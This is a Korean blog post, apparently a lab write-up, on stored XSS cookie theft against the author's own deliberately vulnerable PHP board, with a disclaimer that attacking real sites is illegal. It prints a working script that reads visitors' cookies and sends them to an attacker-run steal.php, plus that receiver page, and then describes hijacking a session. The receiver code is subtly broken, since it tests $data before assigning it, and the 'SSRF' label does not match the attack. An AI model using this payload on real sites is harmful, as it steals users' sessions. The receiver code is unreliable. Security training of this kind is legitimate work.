정보보안/정보보안 실습

[정보보안] SSRF Stored XSS 실습

Developer D 2023. 6. 26. 18:28

현재 실습은 모의해킹을 위해 본인이 작성한 웹페이지에서 진행되었으며

"실습용으로 구축된 취약한 사이트에 대해 진행 되었으며, 실제 사이트에서 XSS으로 해킹을 시도하는 것은 불법 행위입니다."

 

https://github.com/silver-liq9118/php_website_basic

해당사이트를 직접 서버를 올려 진행하였다.

 

이서비스 에는 게시판글쓰기 라는 기능이 있다.

1. 미리 쿠키를 탈취하여 확인 할 수 있는 PHP 페이지를 작성한다.

<?php
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    

    // 데이터 확인 및 처리
    if (!empty($data)) {
    	$data = $_GET['data']; // 전달받은 데이터 가져오기
        // 데이터를 원하는 형태로 가공 또는 저장
        // 예: 데이터베이스에 저장, 로그 파일에 기록 등
        // 간단히 출력
        echo "Received data: " . $data;
    }
}
?>

2. 본인(공격자)는 일반 사용자 인척 가입 → 로그인을 진행하고

3. 게시판에 이목을 끌만한 제목으로 게시글을 작성하고 내용은 쿠키를 탈취하는 악성 스크립트를 작성해 해당 스크립트를 보는 사람들의 쿠키를 탈취한다.

<script>var cookieData = document.cookie;var url = "http://localhost/somefile/PHPweb/steal.php?data=" + encodeURIComponent(cookieData);var xhr = new XMLHttpRequest();xhr.open("GET", url, true);xhr.send();</script>

쿠키를 탈취하여 미리 만들어둔 php(쿠키를저장할 장소)에 자동으로 쿠키를 보내 데이터를 저장 할 수 있다.

모든 스크립트 구문은 붙여써야한다. </br> 태그가 자동적으로 생성되어 < or > Syntax 오류 생성 

 

해당 글  읽기

해당 글을 읽으면 GET으로 쿠키가 탈취 된다.

 

 

 

steal.php (공격자) 공격자의 서버로 쿠키가 탈취 되었다.

원래는 접근되지 않는 서비스

얻은 쿠키 ID로 쿠키를 바꾸어 접속한다.

인가된 사용자의 쿠키로 서비스 접근 성공

반응형